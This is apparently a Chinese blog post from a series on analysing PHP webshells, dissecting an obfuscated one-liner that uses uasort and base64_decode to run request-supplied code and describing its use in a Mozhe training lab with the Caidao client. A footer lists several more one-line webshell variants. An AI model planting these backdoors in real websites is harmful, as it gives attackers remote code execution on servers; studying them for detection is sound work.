WebShell代码分析溯源(八)

一、一句话变形马样本

<?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasort($arr, base64_decode($e));?>

二、代码分析

1、调整代码格式

  

2、分析代码

首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并赋值,然后使用uasort排序函数,base64_decode($e)进行解密之后的自定义函数对arr数组进行排序,构造成一句话木马base64_decode($_REQUEST['e'])$_REQUEST['POST']。

注:uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)

参考:https://www.w3school.com.cn/php/func_array_uasort.asp

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第7题)),地址: https://www.mozhe.cn/bug/detail/VDI4bUFTbVpveGJJakdwMHd1OCtzZz09bW96aGUmozhe

2、代码环境,下载代码

  

3、分析(上面已经分析过了)

4、使用菜刀连接

  

5、执行一些命令

  

WebShell代码分析溯源(八)的更多相关文章

  1. WebShell代码分析溯源(一)

    WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ...

  2. WebShell代码分析溯源(十一)

    WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ...

  3. WebShell代码分析溯源(十)

    WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ...

  4. WebShell代码分析溯源(九)

    WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ...

  5. WebShell代码分析溯源(七)

    WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ...

  6. WebShell代码分析溯源(六)

    WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ...

  7. WebShell代码分析溯源(五)

    WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ...

  8. WebShell代码分析溯源(四)

    WebShell代码分析溯源(四) 一.一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"} ...

  9. WebShell代码分析溯源(三)

    WebShell代码分析溯源(三) 一.一句话变形马样本 <?php $g = array('','s');$gg = a.$g[1].ser.chr('116');@$gg($_POST[ge ...

随机推荐

  1. css6——通栏平均分布

    <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" ...

  2. Selenium 4 Java的最佳测试框架

    几十年来,Java一直是开发应用程序服务器端的首选编程语言.尽管JUnit一直在与开发人员一起帮助他们进行自动化的单元测试,但随着时间的推移和测试行业的发展,特别是伴随着自动化测试的兴起,已经开发了许 ...

  3. [TimLinux] WireShark 安装篇——CentOS7

    1. 下载 libpcap: http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz cmake: https://github-production- ...

  4. POJ 2186 Popular cows(SCC 缩点)

    Every cow's dream is to become the most popular cow in the herd. In a herd of N (1 <= N <= 10, ...

  5. Python基础第一课

    Python基础 安装软件并配置环境变量 1.第一句python --初学后缀名可以是任何数 --后期学习需要导入模块时不是py后缀名会报错 2.两种执行方式 Python解释器 py文件路径 Pyt ...

  6. Django 07

    目录 ORM查询优化 only与defer(单表) select_related与prefetch_related(跨表) choices参数 MTV与MVC模型 Ajax简介 前后端传输数据编码格式 ...

  7. font-family与font-face的区别

    font-family:指定字体 设置后,电脑上无该字体时,观看网页不能显示该字体效果, 针对中文版操作系统,为保证网页效果,通常只指定:宋体.黑体.微软雅黑等系统上默认自带的字体. font-fac ...

  8. Orleans 文档记录

    Orleans 官方文档:官方文档 http://dotnet.github.io/orleans/index.html Orleans 中文文档:中文文档 https://orleanscn.git ...

  9. Hadoop相关问题解决

    Hadoop相关问题解决 Hive 1.查询hivemeta信息,查到的numRows为-1 集群厂商 集群版本 是否高可用 是否开启认证 cdh 不限 不限 不限 在hivemeta库中可以通过以下 ...

  10. 【Maven】常用命令

    [Maven]常用命令 转载:https://www.cnblogs.com/yangchongxing/p/10267028.html Maven Jar 搜索:https://mvnreposit ...